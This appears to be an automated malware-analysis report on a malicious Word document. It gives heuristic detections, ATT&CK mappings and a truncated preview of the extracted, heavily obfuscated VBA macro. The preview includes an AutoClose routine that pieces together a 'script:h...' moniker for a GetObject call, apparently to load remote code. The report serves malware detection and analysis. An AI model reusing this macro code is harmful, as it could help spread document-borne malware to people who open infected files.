MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro. Heuristics indicate the presence of an Auto_Close macro and a GetObject call, suggesting execution upon document closure. The VBA code is heavily obfuscated with mathematical functions and string concatenations, making its exact function difficult to determine, but it is typical of malware designed to download and execute further stages. The ClamAV detection further supports its malicious nature.
Heuristics 7
-
ClamAV: Doc.Malware.Generic-6667830-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Generic-6667830-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 52332 bytes |
SHA-256: 7c029a2b93811d3af338acba2e02cab11f2f9a9b57e7ce72782be700c219619c |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub cORAKonoWIZel()
zEYDAQOLgowoh = Val("47716.9") & "PoGYhIluPUKUZEruMuB"
Dim zudAsiQAaufyvarAfEPie
For zudAsiQAaufyvarAfEPie = 7 To 13
Dim GOJIzamOwUjIFOMIrEToHYX
GOJIzamOwUjIFOMIrEToHYX = Fix(73657)
Next
Dim pyKiMoiOFvikAlOA
Dim kADudyQEPYPy
For kADudyQEPYPy = 5 To 12
Dim OZAFKozOg
OZAFKozOg = Fix(50903)
Next
Dim tosYmEjASIL
tosYmEjASIL = Rnd(114)
If tosYmEjASIL > 35176 Then
tosYmEjASIL = Exp(4)
End If
pyKiMoiOFvikAlOA = Rnd(135)
If pyKiMoiOFvikAlOA > 41593 Then
Debug.Print "iAhUtaREliK"
pyKiMoiOFvikAlOA = Exp(5)
MIgydyGasiweLOieXovAl = 5204
End If
Dim DIaePakuQYuWUXEbu
DIaePakuQYuWUXEbu = Log(7)
DIaePakuQYuWUXEbu = DIaePakuQYuWUXEbu + Log(13)
Dim PYbOSIjynysabUsagUlYV
PYbOSIjynysabUsagUlYV = Log(2)
PYbOSIjynysabUsagUlYV = PYbOSIjynysabUsagUlYV + Log(12)
Debug.Print "JafiupagyiiXINyWedasa"
jYxiLOjyBEgyPEBEzaWA = Val("27074.10") & "jofEiiJYcoWOguGisawYtEn"
cUNIsuMOwONOaoGuBiSv = InStr("roLvililOHAz", "roLvililOHAzroLvililOHAz")
rEdEpEBEmaNppAsep = Val("95586.7") & "VOJohINaLAwuqOpyP"
Debug.Print "qSAvyHiFIBiWehyfIwuMen"
Dim sveseiUjibYsOXEZYgYWa
sveseiUjibYsOXEZYgYWa = Log(8)
sveseiUjibYsOXEZYgYWa = sveseiUjibYsOXEZYgYWa + Log(11)
Dim zYRuJarAKibosEjoS
ECEJEiUTiCeLdkeQubOm = 52622
Dim JaciqbYhVoSeFEzEzuZA
JaciqbYhVoSeFEzEzuZA = Log(1)
JaciqbYhVoSeFEzEzuZA = JaciqbYhVoSeFEzEzuZA + Log(11)
For zYRuJarAKibosEjoS = 5 To 11
myGIHItYQuXiaysuBIk = 17978
Dim wyfIXEnEtaI
wyfIXEnEtaI = Rnd(1210)
If wyfIXEnEtaI > 16364 Then
wyfIXEnEtaI = Exp(10)
End If
Dim hiROVaHoTaiaLAhYXOaYLE
hiROVaHoTaiaLAhYXOaYLE = Fix(71682)
Dim qeHEiOKitUVALkuQaiAVu
qeHEiOKitUVALkuQaiAVu = Rnd(103)
If qeHEiOKitUVALkuQaiAVu > 7332 Then
qeHEiOKitUVALkuQaiAVu = Exp(3)
End If
JefYBUvQIaIaHJaNIviQ = 70093
Next
End Sub
Sub AutoClose()
On Error Resume Next
QUmIZUCeQiBa = Val("62455.4") & "PeNoXuDUdiVaKi"
Debug.Print "DULEJYlIPUL"
Dim iXuKyQAvdU
iXuKyQAvdU = Rnd(119)
If iXuKyQAvdU > 79431 Then
iXuKyQAvdU = Exp(9)
End If
tULYpjPeWUfIAF = vbNullString
zaWIGfUKuJAHYWytoVUPOC = InStr("MozOCiRyTibiFpooj", "MozOCiRyTibiFpoojMozOCiRyTibiFpooj")
qyPIYSUreh = 40109
Dim YHUKegoWeGULalaGIXD
YHUKegoWeGULalaGIXD = Log(9)
YHUKegoWeGULalaGIXD = YHUKegoWeGULalaGIXD + Log(11)
tULYpjPeWUfIAF = tULYpjPeWUfIAF + IIf((261 + 522) = 783, "sc", "5q")
Dim vOSEwUkEXOLDEZ
vOSEwUkEXOLDEZ = Rnd(1310)
If vOSEwUkEXOLDEZ > 17370 Then
vOSEwUkEXOLDEZ = Exp(10)
End If
tULYpjPeWUfIAF = tULYpjPeWUfIAF + IIf((120 + 240) = 360, "ri", "a")
RiBezuRYdixuMygOthYvI = 77607
Debug.Print "FIkiwuGiwIqIS"
tULYpjPeWUfIAF = tULYpjPeWUfIAF + IIf((66 + 132) = 198, "pt", "dXL")
qYFIXUnYwoiNuDEdera = Val("2598.7") & "KEDYPypUNaBOBEdITIb"
Dim lYDucyVAaICinewazquKAX
lYDucyVAaICinewazquKAX = Rnd(1010)
If lYDucyVAaICinewazquKAX > 33530 Then
lYDucyVAaICinewazquKAX = Exp(10)
End If
Debug.Print "fYkomsURos"
mynIqirEwolwYgFaLauGO = Val("77944.1") & "wibovACYDoqyhUSaRU"
tULYpjPeWUfIAF = tULYpjPeWUfIAF + IIf((279 + 558) = 837, ":h", "KIj")
Dim FexawYPaboqYkUXopUPIp
CehOGYCUGuveBEaAX = InStr("iMOxUpEroBI", "iMOxUpEroBIiMOxUpEroBI")
BYKyJOhipoSYJaaIWAvOMAN = 12950
FexawYPaboqYkUXopUPIp = Log(3)
cYvaiEJayjo = Val("44712.4") & "qONESUvoWICAGukAp"
FexawYPaboqYkUXopUPIp = FexawYPaboqYkUXopUPIp + Log(13)
pOhejIkYPulDAkM = InStr("femOtyxErUwezA", "femOtyxErUwezAfemOtyxErUwezA")
Dim ZuroxSeWydADUpiWExuZ
ZuroxSeWydADUpiWExuZ = Log(2)
ZuroxSeWydADUpiWExuZ = ZuroxSeWydADUpiWExuZ + Log(12)
jIRISysUJAt = InStr("bYbYqOSuRYLMIHEqAK", "bYbYqOSuRYLMIHEqAKbYbYqOSuRYLMIHEqAK")
riLOHUMeHaayTUsx = Val("61062.7") & "FymkAPyWYMU"
Dim QYznADoHuWOHACEwebAvuZA
QYznADoHuWOHACEwebAvuZA = Rnd(132)
If QYznADoHuWOHACEwebAvuZA > 27972 Then
QYznADoHuWOHACEwebAvuZA = Exp(2)
End If
tULYpjPeW
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.